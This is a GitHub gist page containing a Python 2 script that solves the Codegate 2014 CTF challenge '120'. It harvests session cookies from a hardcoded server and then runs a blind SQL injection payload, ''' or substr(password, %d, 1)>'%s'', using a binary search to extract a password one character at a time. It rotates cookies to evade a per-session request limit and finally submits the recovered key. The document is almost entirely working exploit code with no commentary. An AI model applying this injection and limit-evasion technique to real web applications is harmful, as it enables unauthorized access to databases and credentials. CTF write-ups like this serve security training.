Skip to content

Instantly share code, notes, and snippets.

@acuros
Created February 25, 2014 02:12
Show Gist options
  • Save acuros/9201365 to your computer and use it in GitHub Desktop.
Save acuros/9201365 to your computer and use it in GitHub Desktop.
codegate 2014 "120" solution.py
import httplib
import urllib
import socket
cookies = []
candidates = 'abcdefghijklmnopqrstuvwxyz'
for x in xrange(10):
while True:
try:
conn = httplib.HTTPConnection('58.229.183.24', timeout=1)
conn.request('/GET', '/5a520b6b783866fd93f9dcdaf753af08/index.php')
cookies.append(conn.getresponse().getheader('set-cookie'))
except socket.timeout, e:
continue
conn.close()
print x
break
cookies = cookies[::-1]
print cookies
session_count = 0
key = []
position = 1
cookie_position = 0
for x in xrange(position, 31):
bottom = 0
top = len(candidates)-1
while bottom+1 != top:
standard = (bottom+top)//2
params = {'password':"' or substr(password, %d, 1)>'%s"%(x, candidates[standard])}
params = urllib.urlencode(params)
headers = {"Content-type": "application/x-www-form-urlencoded",
"Cookie": cookies[cookie_position]}
try:
conn = httplib.HTTPConnection('58.229.183.24', timeout=2)
conn.request('POST', '/5a520b6b783866fd93f9dcdaf753af08/index.php', params, headers)
result = conn.getresponse().read().strip()
except:
continue
if result == 'True':
bottom = standard
elif result == 'False':
top = standard
session_count += 1
if session_count == 100:
cookie_position += 1
print cookies[cookie_position]
session_count = 0
c = candidates[bottom+1]
key.append(c)
print ''.join(key)
position += 1
print ''.join(key)
print cookies[0]
key = ''.join(key)
params = {'password':key}
params = urllib.urlencode(params)
headers = {"Content-type": "application/x-www-form-urlencoded",
"Cookie": cookies[0]}
while True:
try:
conn = httplib.HTTPConnection('58.229.183.24', timeout=10)
conn.request('POST', '/5a520b6b783866fd93f9dcdaf753af08/auth.php', params, headers)
result = conn.getresponse().read().strip()
print result
except socket.timeout, e:
print e
continue
break
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment